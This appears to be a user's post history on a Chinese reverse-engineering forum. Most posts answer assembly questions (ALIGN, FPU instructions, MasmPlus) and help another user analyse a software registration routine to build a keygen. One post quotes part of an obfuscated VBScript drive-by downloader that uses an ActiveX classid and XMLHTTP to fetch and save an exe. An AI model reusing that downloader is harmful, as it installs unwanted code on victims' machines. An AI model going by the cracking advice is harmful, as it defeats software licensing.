|
[己解决]请教,有关汇编语句的理解
在有符号的数据时,第一位小于等于7的数都是代表着正数,第一位大于等于8的数都是代表负数,如: 0~7 是正数,8~F是负数 个位数 0~79是正数,80~FF是负数 十位数 0~799是正数,800~FFF是负数 百位数 0~7999是正数,8000~FFFF是负数。 千位数 ...... 省略 |
|
[求助]引用函数 指点一下
在窗口创建的时候用ShowWindow函数隐藏他或在创建时带上隐藏属性。然后安装一个定时器,时间定在1000*60*30=1800000毫秒(30分钟),定时器触发时就用ShowWindow显示这个标签。 |
|
[求助]关于masm32下的align详细的用法
程序的开始的首地址肯定是对齐的,后面的就不一定了。 |
|
[求助]关于masm32下的align详细的用法
作用只是让table开始的地址可以被16整除的地址处开始存放,目的只是对齐地址,对齐的地址数据CPU读取起来比没用对齐的地址读取更节约CPU效率。 |
|
[求助]关于masm32下的align详细的用法
对齐伪指令格式: ALIGN Num 其中:Num必须是2的幂,如:2、4、8和16等。 伪指令的作用是:告诉汇编程序,本伪指令下面的内存变量必须从下一个能被Num整除的地址开始分配。 如果下一个地址正好能被Num整除,那么,该伪指令不起作用,否则,汇编程序将空出若干个字节,直到下一个地址能被Num整除为止。 |
|
[求助]请帮忙看看注册算法
没办法帮你测试,信息太少,而且有几个东西还没搞清楚。 LEA ECX,DWORD PTR DS:[ECX+ECX*7] ; 这一句汇编似乎没办法汇编成功,汇编指令中似乎没有*7的这条指令lea ecx,dword ptr [ecx+ecx*2]或[ecx+ecx*4]或[ecx+ecx*8]指令倒是有。 [508FBC]你说出的数值是16进制的数还是10进制数,或者是浮点的数? 还有你测试用的假码是什么,用你的假码软件最后得出的值和你算的值又是什么(要说明是十六进制还是十进制或小数的)? |
|
[求助]请帮忙看看注册算法
将[508FBC]保存的值发上来看看。 |
|
[求助]请问这一串VBScript 如何解密!?
.on error resume next.curl="http://www.baidu.com/baidu.exe".fname1="cike.exe".fname2="cike.vbs".Set df = document.createElement("object").df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36".str="Microsoft.XMLHTTP".Set x= df.CreateObject(str,"").C1="Ado".C2="db.".C3="str".C4= |
|
[求助]高手请进!问个问题!
代码段默认是不可写的,但代码段的读写属性还是可以修改的来达到写代码段。 |
|
|
|
[求助]破解
绑定和不绑定的破解方法是一样的,没什么不同。都是用调试器找出比较的关键点,算法的关键点。 |
|
[求助]请帮忙看看注册算法
; 下面的指令都是浮点运算指令。 00508F7B |.DF6D F0 FILD QWORD PTR SS:[EBP-10] ; 将运算得到的整数装入FPU寄存器st(0)里 00508F7E |.D835 BC8F5000 FDIV DWORD PTR DS:[508FBC] ; st(0) 除以 [508FBC]里保存的值,结果保存在st(0) 00508F84 |.D95D F8 FSTP DWORD PTR SS:[EBP-8] ; 将st(0)里的运算后的数据出栽,转成实数格式放到[EBP-8]的局部变量中 00508F87 |.9B WAIT ; 同步CPU和FPU,停止CPU运行,直到FPU完成操作 00508F88 |.D945 F8 FLD DWORD PTR SS:[EBP-8] ; 将[EBP-8]局部变量中保存的实数装入st(0) 00508F8B |.83C4 F4 ADD ESP,-0C 00508F8E |.DB3C24 FSTP TBYTE PTR SS:[ESP] ; 放到某个局部变量,上面两句似乎没有作用,可能只是转移变量用的。中 ; | 00508F91 |.9B WAIT ; | 00508F92 |.8BC6 MOV EAX,ESI ; | 00508F94 |.E8 9F1EF0FF CALL csoft.0040AE38 ; \csoft.0040AE38 |
|
[求助]请帮忙看看注册算法
你分析到这里,要做注册机可以说是很简单了,我看你发的代码除了下面几句不算楚外,其他都很明了。 00508F7E |.D835 BC8F5000 FDIV DWORD PTR DS:[508FBC] ; 508FBC保存的是什么值?是固定不变的值,还是动态计算得到的? 00508F84 |.D95D F8 FSTP DWORD PTR SS:[EBP-8] 00508F87 |.9B WAIT 00508F88 |.D945 F8 FLD DWORD PTR SS:[EBP-8] 00508F8B |.83C4 F4 ADD ESP,-0C 00508F8E |.DB3C24 FSTP TBYTE PTR SS:[ESP] ; | 00508F91 |.9B WAIT ; | 00508F92 |.8BC6 MOV EAX,ESI ; | 00508F94 |.E8 9F1EF0FF CALL csoft.0040AE38 ; \csoft.0040AE38 ; 这个Call是干什么用? |
|
[求助]请帮忙看看注册算法
你给的这个算法不难,应该很好写注册机。 00508F6D |>69C3 39300000 IMUL EAX,EBX,4069 ;从这句起就对不上号了,计算出来的结果是1A4CB026E, ;而软件得到的正确结果却将第一位“1”截去了,何故! 这一句是因为你得出的结果已经超出32位长度数据,32位的机器一个寄存器最长只能保存前32位长度,软件没有使用超出的32位后的数据,所以第一位1被截去了。 |
|
关于汇编读取自身末尾问题
你读取的是不是exe的尾部附加数据?尾部的附加数据用用映像是不会被加载的。要使用ReadFile才行。 |
|
[求助]怎么监测鼠标键盘是否活动?
HOOk 键盘鼠标消息。 |
|
问个问题[求助]
用MasmPlus编译程序引用inc和lib文件时不用包含路径的。 |
|
问个问题[求助]
我这里没什么错误,你用MasmPlus时将include \masm32\include\windows.inc这些去掉\masm32\include这一句试试。如改成这样:include windows.inc |
|
问个问题[求助]
你所说的“过滤模式字符串”应该是指打开、保存文件对话框中的像All File(*.*)之类的吧。你使用过打开、保存文件的对话框程序你就应该明白了。选择了什么类型的文件,在打开、保存对话框里就只能看到什么类型的文件。 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值